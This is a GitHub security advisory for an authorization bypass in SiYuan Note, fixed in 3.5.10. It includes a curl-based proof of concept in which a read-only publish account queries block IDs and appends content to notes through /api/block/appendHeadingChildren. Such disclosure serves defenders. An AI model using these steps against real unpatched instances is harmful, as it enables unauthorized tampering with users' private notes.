Skip to content

Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren

High
88250 published GHSA-f9cq-v43p-v523 Mar 7, 2026

Package

gomod github.com/siyuan-note/siyuan (Go)

Affected versions

<=3.5.9

Patched versions

v3.5.10

Description

Summary

A privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the /api/block/appendHeadingChildren API endpoint.

The endpoint only requires model.CheckAuth, which accepts RoleReader sessions. Because the endpoint performs a persistent document mutation and does not enforce CheckAdminRole or CheckReadonly, a publish user with read-only privileges can append new blocks to existing documents.

This allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes.

Details

File: router.go, block.go, block.go, session.go
Lines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209
Vulnerable Code:

- router.go: ginServer.Handle("POST", "/api/block/appendHeadingChildren", model.CheckAuth, appendHeadingChildren)
- api/block.go: model.AppendHeadingChildren(id, childrenDOM)
- model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation)
- session.go: CheckAuth accepts RoleReader as authenticated

Why Vulnerable:
A low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes.

PoC

  1. Enable publish service and create low-privilege account
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{
  "enable": true,
  "port": 6808,
  "auth": {
    "enable": true,
    "accounts": [
      {
        "username": "viewer",
        "password": "viewerpass"
      }
    ]
  }
}' \
http://127.0.0.1:6806/api/setting/setPublish
  1. Create a test notebook and document (admin)
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{"name":"AuditPOC"}' \
http://127.0.0.1:6806/api/notebook/createNotebook

Create a document containing a heading:

curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{
  "notebook":"<NOTEBOOK_ID>",
  "path":"/Victim",
  "markdown":"# VictimHeading\n\nOriginal paragraph"
}' \
http://127.0.0.1:6806/api/filetree/createDocWithMd
  1. Retrieve heading block ID (low-priv publish account)
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"stmt":"SELECT id,root_id FROM blocks WHERE content='\''VictimHeading'\'' LIMIT 1"}' \
http://127.0.0.1:6808/api/query/sql

Example response:

{
 "id":"20260307093334-05sj7bz",
 "root_id":"20260307093334-vsa6ft0"
}
  1. Generate block DOM
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"dom":"<p>InjectedByReader</p>"}' \
http://127.0.0.1:6808/api/lute/html2BlockDOM
  1. Append block using the vulnerable endpoint
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{
"id":"20260307093334-05sj7bz",
"childrenDOM":"<div ...>InjectedByReader</div>"
}' \
http://127.0.0.1:6808/api/block/appendHeadingChildren

Server response:

{"code":0}
  1. Verify unauthorized modification
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"stmt":"SELECT content FROM blocks WHERE root_id='\''20260307093334-vsa6ft0'\'' ORDER BY sort"}' \
http://127.0.0.1:6808/api/query/sql

Result includes attacker-controlled content:

InjectedByReader

This confirms that the low-privilege publish user successfully modified the document.

Impact

This vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content.

Potential impacts include:

• Unauthorized modification of private notes
• Content tampering in published notebooks
• Loss of data integrity
• Possible chaining with other API endpoints to escalate further privileges

The issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

CVE ID

CVE-2026-30926

Weaknesses

Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Credits